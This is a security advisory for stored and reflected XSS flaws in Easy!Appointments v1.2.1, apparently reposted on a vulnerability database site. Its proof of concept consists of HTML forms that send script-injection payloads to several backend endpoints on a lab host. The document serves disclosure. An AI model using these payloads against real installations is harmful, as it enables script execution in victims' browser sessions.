Lucene search
K

Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities

🗓️ 27 Dec 2017 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 109 Views

Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities. Highly customizable web application for customer appointments with Google Calendar sync and database integration, facing stored and reflected XSS threats

Code
<html><body><p>Easy!Appointments v1.2.1 Multiple Stored XSS Vulnerabilities


Vendor: Alex Tselegidis
Product web page: http://www.easyappointments.org
Affected version: 1.2.1

Summary: Easy!Appointments is a highly customizable web application
that allows your customers to book appointments with you via the web.
Moreover, it provides the ability to sync your data with Google Calendar
so you can use them with other services. It is an open source project
and you can download and install it even for commercial use. Easy!Appointments
will run smoothly with your existing website, because it can be installed
in a single folder of the server and of course, both sites can share
the same database. Learn more about the project in the Features page.

Desc: The application suffers from multiple stored and reflected XSS
vulnerabilities. The issues are triggered when an unauthorized input
passed via multiple POST and GET parameters is not properly sanitized
before being returned to the user. This can be exploited to execute
arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: Apache/2.4.23 (Win32)
           OpenSSL/1.0.2h
           MariaDB-10.1.19
           PHP/5.6.28


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2017-5442
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5442.php


20.10.2017

--


PoC:

{"name":"XSS1","description":"Description"}


  </p>
<form action="http://10.211.55.3/easyappointments121/index.php/backend_api/ajax_save_service_category" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="category" type="hidden" value='{"name":"XSS1","description":"Description"}'/>
<input type="submit" value="Submit request"/>
</form>
  


---


  
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="service_id" type="hidden" value='"&gt;&lt;script&gt;alert(2)&lt;/script&gt;'/>
<input name="provider_id" type="hidden" value="85"/>
<input name="selected_date" type="hidden" value="2017-11-30"/>
<input name="service_duration" type="hidden" value="30"/>
<input name="manage_mode" type="hidden" value="false"/>
<input type="submit" value="Submit request"/>
</form>
  


---


  
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_get_available_hours" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="service_id" type="hidden" value="13"/>
<input name="provider_id" type="hidden" value="85"/>
<input name="selected_date" type="hidden" value="&lt;marquee&gt;"/>
<input name="service_duration" type="hidden" value="30"/>
<input name="manage_mode" type="hidden" value="false"/>
<input type="submit" value="Submit request"/>
</form>
  


---


  
    <form action="http://10.211.55.3/easyappointments121/index.php/appointments/ajax_register_appointment" method="POST">
<input name="csrfToken" type="hidden" value="f5300ab64a4fae7bc3e56f2502905459"/>
<input name="post_data[customer][last_name]" type="hidden" value="sdadsd"/>
<input name="post_data[customer][first_name]" type="hidden" value="asdasd"/>
<input name="post_data[customer][email]" type="hidden" value="[email protected]"/>
<input name="post_data[customer][phone_number]" type="hidden" value="1112223333"/>
<input name="post_data[customer][address]" type="hidden" value=""/>
<input name="post_data[customer][city]" type="hidden" value=""/>
<input name="post_data[customer][zip_code]" type="hidden" value=""/>
<input name="post_data[appointment][start_datetime]" type="hidden" value='"&gt;&lt;script&gt;alert(3)&lt;/script&gt;'/>
<input name="post_data[appointment][end_datetime]" type="hidden" value="2017-11-30 16:00:00"/>
<input name="post_data[appointment][notes]" type="hidden" value=""/>
<input name="post_data[appointment][is_unavailable]" type="hidden" value="false"/>
<input name="post_data[appointment][id_users_provider]" type="hidden" value="85"/>
<input name="post_data[appointment][id_services]" type="hidden" value="13"/>
<input name="post_data[manage_mode]" type="hidden" value="false"/>
<input type="submit" value="Submit request"/>
</form>
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation